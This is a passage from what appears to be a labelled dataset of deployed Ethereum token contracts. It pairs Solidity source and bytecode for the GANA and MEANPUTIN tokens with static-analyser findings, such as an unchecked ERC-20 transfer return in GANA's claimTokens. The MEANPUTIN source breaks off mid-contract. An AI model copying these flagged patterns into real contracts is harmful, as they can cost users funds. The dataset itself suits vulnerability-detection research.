ffffffffffffff16815260200191505060405180910390f35b34801561082757600080fd5b50610830611407565b005b34801561083e57600080fd5b506108476114a1565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561088757808201518184015260208101905061086c565b50505050905090810190601f1680156108b45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108ce57600080fd5b5061090d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114da565b604051808215151515815260200191505060405180910390f35b34801561093357600080fd5b5061093c6116f9565b6040518082815260200191505060405180910390f35b34801561095e57600080fd5b506109676116ff565b6040518082815260200191505060405180910390f35b34801561098957600080fd5b5061099261170b565b6040518082815260200191505060405180910390f35b3480156109b457600080fd5b506109f3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611719565b604051808215151515815260200191505060405180910390f35b348015610a1957600080fd5b50610a6e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611915565b6040518082815260200191505060405180910390f35b348015610a9057600080fd5b50610ac5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061199c565b005b600080831415610ada5760009050610af9565b8183029050818382811515610aeb57fe5b04141515610af557fe5b8090505b92915050565b60008183811515610b0c57fe5b04905092915050565b60008183019050828110151515610b2857fe5b80905092915050565b6000828211151515610b3f57fe5b818303905092915050565b6040805190810160405280600d81526020017f506561726c2046696e616e63650000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610cbc57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d0957600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d9457600080fd5b610de5826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b3190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e78826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f4982600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b3190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b69065a4da25d3016c0000081565b60035481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611163576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f7565b6111768382610b3190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561138757600080fd5b60028081111561139357fe5b600560149054906101000a900460ff1660028111156113ae57fe5b141515156113bb57600080fd5b6001600560146101000a81548160ff021916908360028111156113da57fe5b0217905550565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561146357600080fd5b60028081111561146f57fe5b600560149054906101000a900460ff16600281111561148a57fe5b1415151561149757600080fd5b61149f611af4565b565b6040805190810160405280600381526020017f504649000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561151757600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561156457600080fd5b6115b5826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b3190919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611648826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60045481565b6729a2241af62c000081565b69043c33c193756480000081565b60006117aa82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119f857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611a3457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6002600560146101000a81548160ff02191690836002811115611b1357fe5b021790555060006004541115611bfd57611b98600454600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1590919063ffffffff16565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015611c7c573d6000803e3d6000fd5b505600a165627a7a72305820e678e47fae8ca55960ed5f09cc27e1e6264d5a5fde97d6bad5646ad6b8ec9faf0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,286 |
0x6754e21b9EAa053c62d7854dD6561ae451B0cBCf
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Releasable is Ownable {
event Release();
bool public released = false;
modifier afterReleased() {
require(released);
_;
}
function release() onlyOwner public {
require(!released);
released = true;
Release();
}
}
contract Managed is Releasable {
mapping (address => bool) public manager;
event SetManager(address _addr);
event UnsetManager(address _addr);
function Managed() public {
manager[msg.sender] = true;
}
modifier onlyManager() {
require(manager[msg.sender]);
_;
}
function setManager(address _addr) public onlyOwner {
require(_addr != address(0) && manager[_addr] == false);
manager[_addr] = true;
SetManager(_addr);
}
function unsetManager(address _addr) public onlyOwner {
require(_addr != address(0) && manager[_addr] == true);
manager[_addr] = false;
UnsetManager(_addr);
}
}
contract ReleasableToken is StandardToken, Managed {
function transfer(address _to, uint256 _value) public afterReleased returns (bool) {
return super.transfer(_to, _value);
}
function saleTransfer(address _to, uint256 _value) public onlyManager returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public afterReleased returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public afterReleased returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public afterReleased returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public afterReleased returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract BurnableToken is ReleasableToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) onlyManager public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= tota0lSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
/**
* GANA
*/
contract GANA is BurnableToken {
string public constant name = "GANA";
string public constant symbol = "GANA";
uint8 public constant decimals = 18;
event ClaimedTokens(address manager, address _token, uint256 claimedBalance);
function GANA() public {
totalSupply = 2000000000 * 1 ether;
balances[msg.sender] = totalSupply;
}
function claimTokens(address _token, uint256 _claimedBalance) public onlyManager afterReleased {
ERC20Basic token = ERC20Basic(_token);
uint256 tokenBalance = token.balanceOf(this);
require(tokenBalance >= _claimedBalance);
address manager = msg.sender;
token.transfer(manager, _claimedBalance);
ClaimedTokens(manager, _token, _claimedBalance);
}
}
|
0x6060604052600436106101035763ffffffff60e060020a60003504166306fdde038114610108578063095ea7b31461019257806318160ddd146101c857806323b872dd146101ed57806329b0de1e14610215578063313ce5671461023657806342966c681461025f578063661884631461027557806370a082311461029757806386d1a69f146102b65780638da5cb5b146102c957806395d89b411461010857806396132521146102f8578063a51a86821461030b578063a9059cbb1461032d578063d0ebdbe71461034f578063d4d2e7f21461036e578063d73dd6231461038d578063dd62ed3e146103af578063f2fde38b146103d4578063fe417fa5146103f3575b600080fd5b341561011357600080fd5b61011b610415565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561015757808201518382015260200161013f565b50505050905090810190601f1680156101845780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019d57600080fd5b6101b4600160a060020a036004351660243561044c565b604051901515815260200160405180910390f35b34156101d357600080fd5b6101db610478565b60405190815260200160405180910390f35b34156101f857600080fd5b6101b4600160a060020a036004358116906024351660443561047e565b341561022057600080fd5b610234600160a060020a03600435166104ac565b005b341561024157600080fd5b610249610569565b60405160ff909116815260200160405180910390f35b341561026a57600080fd5b61023460043561056e565b341561028057600080fd5b6101b4600160a060020a036004351660243561065d565b34156102a257600080fd5b6101db600160a060020a0360043516610682565b34156102c157600080fd5b61023461069d565b34156102d457600080fd5b6102dc610721565b604051600160a060020a03909116815260200160405180910390f35b341561030357600080fd5b6101b4610730565b341561031657600080fd5b6101b4600160a060020a0360043516602435610740565b341561033857600080fd5b6101b4600160a060020a0360043516602435610771565b341561035a57600080fd5b610234600160a060020a036004351661078c565b341561037957600080fd5b6101b4600160a060020a0360043516610848565b341561039857600080fd5b6101b4600160a060020a036004351660243561085d565b34156103ba57600080fd5b6101db600160a060020a0360043581169060243516610882565b34156103df57600080fd5b610234600160a060020a03600435166108ad565b34156103fe57600080fd5b610234600160a060020a0360043516602435610948565b60408051908101604052600481527f47414e4100000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff16151561046757600080fd5b6104718383610ae0565b9392505050565b60005481565b60035460009060a060020a900460ff16151561049957600080fd5b6104a4848484610b4c565b949350505050565b60035433600160a060020a039081169116146104c757600080fd5b600160a060020a038116158015906104fc5750600160a060020a03811660009081526004602052604090205460ff1615156001145b151561050757600080fd5b600160a060020a03811660009081526004602052604090819020805460ff191690557ffa9c981c4dea5c1d555636475569d33a70540596b74cf42c35e9cf7e5a47214e90829051600160a060020a03909116815260200160405180910390a150565b601281565b600160a060020a03331660009081526004602052604081205460ff16151561059557600080fd5b600082116105a257600080fd5b600160a060020a0333166000908152600160205260409020548211156105c757600080fd5b5033600160a060020a0381166000908152600160205260409020546105ec9083610cce565b600160a060020a03821660009081526001602052604081209190915554610619908363ffffffff610cce16565b600055600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b60035460009060a060020a900460ff16151561067857600080fd5b6104718383610ce0565b600160a060020a031660009081526001602052604090205490565b60035433600160a060020a039081169116146106b857600080fd5b60035460a060020a900460ff16156106cf57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790557fdf3164c6542982869e04c28f5083f269f2b72ca4bff9a7e792f5c0422788bbc560405160405180910390a1565b600354600160a060020a031681565b60035460a060020a900460ff1681565b600160a060020a03331660009081526004602052604081205460ff16151561076757600080fd5b6104718383610dda565b60035460009060a060020a900460ff16151561076757600080fd5b60035433600160a060020a039081169116146107a757600080fd5b600160a060020a038116158015906107d85750600160a060020a03811660009081526004602052604090205460ff16155b15156107e357600080fd5b600160a060020a03811660009081526004602052604090819020805460ff191660011790557f54a6385aa0292b04e1ef8513253c17d1863f7cdfc87029d77fd55cc4c2e717e290829051600160a060020a03909116815260200160405180910390a150565b60046020526000908152604090205460ff1681565b60035460009060a060020a900460ff16151561087857600080fd5b6104718383610ed5565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a039081169116146108c857600080fd5b600160a060020a03811615156108dd57600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0333166000908152600460205260408120548190819060ff16151561097357600080fd5b60035460a060020a900460ff16151561098b57600080fd5b84925082600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156109e557600080fd5b6102c65a03f115156109f657600080fd5b505050604051805192505083821015610a0e57600080fd5b5033600160a060020a03831663a9059cbb828660006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610a6d57600080fd5b6102c65a03f11515610a7e57600080fd5b50505060405180519050507ff931edb47c50b4b4104c187b5814a9aef5f709e17e2ecf9617e860cacade929c818686604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a15050505050565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000600160a060020a0383161515610b6357600080fd5b600160a060020a038416600090815260016020526040902054821115610b8857600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610bbb57600080fd5b600160a060020a038416600090815260016020526040902054610be4908363ffffffff610cce16565b600160a060020a038086166000908152600160205260408082209390935590851681522054610c19908363ffffffff610f7916565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610c61908363ffffffff610cce16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600082821115610cda57fe5b50900390565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610d3d57600160a060020a033381166000908152600260209081526040808320938816835292905290812055610d74565b610d4d818463ffffffff610cce16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b6000600160a060020a0383161515610df157600080fd5b600160a060020a033316600090815260016020526040902054821115610e1657600080fd5b600160a060020a033316600090815260016020526040902054610e3f908363ffffffff610cce16565b600160a060020a033381166000908152600160205260408082209390935590851681522054610e74908363ffffffff610f7916565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610f0d908363ffffffff610f7916565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b60008282018381101561047157fe00a165627a7a72305820c2d98048e321835dd3f3aaec5a42e707f207bfee726b8e3147966b95454331880029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 6,287 |
0x4d0c99022af14ab2a2decf1779648f41310794aa
|
/**
*Submitted for verification at Etherscan.io on 2022-02-24
*/
/*
Mean Putin is a token aiming at promoting world peace. 80% of the taxes shall go to humanitarian organizations in Ukraine.
Tokenomics:
Buy Limit: 2%
Initial LP lock: 2 ETH
Max Supply: 10 Billions
Tax Distribution:
4% Donation to Ukraine
1% Dev + Marketing
https://t.me/meanputintoken
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MEANPUTIN is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "MEANPUTIN";
string private constant _symbol = "MEANPUTIN";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x8BD3b2ED5aa96E0940C25789AB139b247eec72F4);
_buyTax = 5;
_sellTax = 5;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
_isExcludedFromFee[address(0xdead)] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
